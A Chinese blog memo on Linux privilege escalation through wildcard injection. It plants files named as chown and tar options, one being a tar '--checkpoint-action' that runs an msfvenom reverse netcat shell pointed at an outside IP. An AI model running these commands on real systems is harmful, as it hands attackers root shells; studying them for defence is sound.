记录Linux下的钓鱼提权思路

简介: 参考Freebuf上的提权文章(利用通配符进行Linux本地提权):http://www.freebuf.com/articles/system/176255.

参考Freebuf上的提权文章(利用通配符进行Linux本地提权):
http://www.freebuf.com/articles/system/176255.html

以两个例子的形式进行记录,作为备忘:

0x01 Chown的--reference特性

存在三个用户:root、yunsle和test,假设这样一个场景,root用户要将/home/test下所有的文件所有者设置为test,那么yunsle如何通过root的这样一个操作,达到攻击目的呢?
文件中目前内容如下:

snipaste20180802_114639.png
snipaste20180802_114639.png

攻击者yunsle在/home/test下创建两个文件,如下:

echo "">yunsle
echo > --reference=yunsle
snipaste20180802_114719.png
snipaste20180802_114719.png

此时root用户在当前目录下执行将所有文件拥有者设置为test的chown命令:

chown -R test:test *
snipaste20180802_114751.png
snipaste20180802_114751.png

虽然命令执行出现了报错,但是再查看文件,发现拥有者并没有修改为test,而是yunsle:

snipaste20180802_114819.png
snipaste20180802_114819.png

0x02 tar的命令执行:--checkpoint-action&--checkpoint

存在两个用户:root、yunsle,其中yunsle是非root组的攻击者,需要想办法提升权限,可以使用tar命令进行利用。

如果在cron计划中,root用户存在计划执行并且使用到了tar命令,或者攻击者提前知道root会对某个人文件执行tar,可以形成攻击场景。

攻击者首先自己可以生成一个反弹shell,如使用msfvenom:

msfvenom -p cmd/unix/reverse_netcat lhost=47.94.37.40 lport=7777 R
snipaste20180802_114846.png
snipaste20180802_114846.png

并且在接收机上监听7777端口:

snipaste20180802_114917.png
snipaste20180802_114917.png

将反弹shell内容在目标机上,写入shell.sh文件:

snipaste20180802_114931.png
snipaste20180802_114931.png

接下来再创建两个文件:

echo > "--checkpoint-action=exec=sh shell.sh"
echo > --checkpoint=1
snipaste20180802_114953.png
snipaste20180802_114953.png

此时,root对当前目录执行类似如下的tar操作:

tar -zcf bak.tgz /home/test/*
snipaste20180802_115017.png
snipaste20180802_115017.png

已经成功以root身份执行shell.sh,并且将shell反弹至攻击者服务器:

snipaste20180802_115034.png
snipaste20180802_115034.png
目录
相关文章
|
4月前
|
网络协议 Linux 网络安全
2023年中职“网络安全“—Linux系统深入提权③
2023年中职“网络安全“—Linux系统深入提权③
62 2
|
4月前
|
网络协议 Linux 测试技术
2023年中职“网络安全“—Linux系统深入提权②
2023年中职“网络安全“—Linux系统深入提权②
50 0
|
11月前
|
Ubuntu 安全 Linux
CVE-2021-3493 Linux kernel提权漏洞复现
CVE-2021-3493 Linux kernel提权漏洞复现
164 0
|
7月前
|
安全 Linux 数据安全/隐私保护
Linux DirtyPipe 内核提权漏洞 (CVE-2022-0847)
它是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。
91 1
|
7月前
|
缓存 安全 Linux
Linux内核提权漏洞—CVE-2022-0874
Linux内核提权漏洞—CVE-2022-0874
81 1
|
8月前
|
安全 Shell Linux
linux提权总结
linux提权总结
198 0
|
11月前
|
存储 安全 Unix
干货 | 最详细Linux提权总结(建议收藏)
干货 | 最详细Linux提权总结(建议收藏)
1678 0
|
11月前
|
Linux 开发工具 C语言
Linux中如何给普通用户提权
Linux中如何给普通用户提权
|
11月前
|
安全 Linux
Linux 系统安全 - 近期发现的 polkit pkexec 本地提权漏洞(CVE-2021-4034)修复方案
Linux 系统安全 - 近期发现的 polkit pkexec 本地提权漏洞(CVE-2021-4034)修复方案
1018 1
|
安全 关系型数据库 MySQL
Linux提权备忘录
Linux提权备忘录
149 0
Linux提权备忘录